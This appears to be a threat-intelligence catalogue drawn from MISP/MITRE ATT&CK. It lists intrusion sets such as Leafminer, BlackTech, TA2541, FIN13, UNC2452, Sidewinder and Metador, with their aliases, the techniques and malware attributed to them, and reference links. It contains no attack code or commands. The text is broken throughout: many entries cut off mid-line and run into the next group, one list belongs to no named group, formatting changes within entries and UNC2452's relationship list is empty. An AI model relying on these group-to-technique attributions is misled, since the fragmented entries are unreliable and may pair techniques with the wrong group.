- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowGoop - S1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="STARWHALE - S1037" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWERSTATS - S0223" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
Leafminer - G0077

[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)

The tag is: **misp-galaxy:mitre-intrusion-set="Leafminer - G0077"**

Leafminer - G0077 is also known as:

- Leafminer
- Raspite

View relationships graph

Leafminer - G0077 has relationships with:

- uses:  **misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"** with estimative-
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="MailSniper - S0413" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
DarkHydrus - G0079

DarkHydrus - G0079 is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)

The tag is: misp-galaxy:mitre-intrusion-set="DarkHydrus - G0079"

DarkHydrus - G0079 is also known as:

- DarkHydrus

View relationships graph

DarkHydrus - G0079 has relationships with:


- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-
**BlackTech - G0098**

[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia—particularly Taiwan, Japan, and Hong Kong—and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks. (Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="BlackTech - G0098"`

BlackTech - G0098 is also known as:

- BlackTech
- Palmerworm

View relationships graph

BlackTech - G0098 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SSH - T1021.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Flagpro - S0696" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="TSCookie - S0436" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Kivars - S0437" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="PLEAD - S0435" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Waterbear - S0579" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6501. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0098">https://attack.mitre.org/groups/G0098</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape">https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape</a></td>
</tr>
</tbody>
</table>
TA2541 - G1018

[TA2541](https://attack.mitre.org/groups/G1018) is a cybercriminal group that has been targeting the aviation, aerospace, transportation, manufacturing, and defense industries since at least 2017. [TA2541](https://attack.mitre.org/groups/G1018) campaigns are typically high volume and involve the use of commodity remote access tools obfuscated by crypters and themes related to aviation, transportation, and travel. (Citation: Proofpoint TA2541 February 2022) (Citation: Cisco Operation Layover September 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="TA2541 - G1018"`

TA2541 - G1018 is also known as:

- TA2541

View relationships graph

TA2541 - G1018 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="NETWIRE - S0198"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domains - T1583.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="Snip3 - S1086"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Process Injection - T1055"` with estimative-
• uses: misp-galaxy:mitre-tool="AsyncRAT - S1087" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Imminent Monitor - S0434" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Revenge RAT - S0379" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Agent Tesla - S0331" with estimative-language:likelihood-probability="almost-certain"
Table 6502. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1018">https://attack.mitre.org/groups/G1018</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/">https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight">https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight</a></td>
</tr>
</tbody>
</table>

FIN13 - G1016

[FIN13](https://attack.mitre.org/groups/G1016) is a financially motivated cyber threat group that has targeted the financial, retail, and hospitality industries in Mexico and Latin America, as early as 2016. [FIN13](https://attack.mitre.org/groups/G1016) achieves its objectives by stealing intellectual property, financial data, mergers and acquisition information, or PII.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN13 - G1016"*

FIN13 - G1016 is also known as:

- FIN13
- Elephant Beetle

View relationships graph

FIN13 - G1016 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-tool="certutil - S0160"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"* with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

*Table 6503. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1016">https://attack.mitre.org/groups/G1016</a></td>
</tr>
</tbody>
</table>
**UNC2452 - G0118**

[UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion. (Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. (Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019. (Citation: Volexity SolarWinds)

The tag is: `misp-galaxy:mitre-intrusion-set="UNC2452 - G0118"`

UNC2452 - G0118 is also known as:

- UNC2452
- NOBELIUM
- StellarParticle
- Dark Halo

View relationships graph

UNC2452 - G0118 has relationships with:


*Table 6504. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0118">https://attack.mitre.org/groups/G0118</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/">https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/">https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/">https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/</a></td>
</tr>
</tbody>
</table>

**TA551 - G0127**

[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="TA551 - G0127"`

TA551 - G0127 is also known as:
TA551
GOLD CABIN
Shathak

View relationships graph

TA551 - G0127 has relationships with:

- uses: misp-galaxy:mitre-malware="Ursnif - S0386" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="IcedID - S0483" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Valak - S0476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-
CURIUM - G1012

[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness. (Citation: Microsoft Iranian Threat Actor Trends November 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="CURIUM - G1012"`

CURIUM - G1012 is also known as:

- CURIUM

View relationships graph

CURIUM - G1012 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001"` with estimative-language:likelihood-probability="almost-certain"

Sidewinder - G0121

[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Sidewinder - G0121"

Sidewinder - G0121 is also known as:

- Sidewinder
- T-APT-04
- Rattlesnake

**View relationships graph**

Sidewinder - G0121 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:360net-threat-actor="响尾蛇 - APT-C-24" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
Windshift - G0112

[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)

The tag is: `misp-galaxy:mitre-intrusion-set="Windshift - G0112"`

Windshift - G0112 is also known as:

- Windshift
- Bahamut

View relationships graph

Windshift - G0112 has relationships with:

- uses: `misp-galaxy:mitre-malware="WindTail - S0466"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1521.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
Metador - G1013

[Metador](https://attack.mitre.org/groups/G1013) is a suspected cyber espionage group that was first reported in September 2022. [Metador](https://attack.mitre.org/groups/G1013) has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group [Metador](https://attack.mitre.org/groups/G1013) based on the "I am meta" string in one of the group's malware samples and the expectation of Spanish-language responses from C2 servers. (Citation: SentinelLabs Metador Sept 2022)

The tag is: `misp-galaxy:mitre-intrusion-set="Metador - G1013"`

Metador - G1013 is also known as:

- Metador

View relationships graph

Metador - G1013 has relationships with:

- uses: `misp-galaxy:mitre-malware="Mafalda - S1060"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Malware - T1588.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="metaMain - S1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6509. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://assets.sentinelone.com/sentinellabs22/metador#page=1">https://assets.sentinelone.com/sentinellabs22/metador#page=1</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G1013">https://attack.mitre.org/groups/G1013</a></td>
</tr>
</tbody>
</table>

**Chimera - G0114**

[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Chimera - G0114"

Chimera - G0114 is also known as:

• Chimera

View relationships graph

Chimera - G0114 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

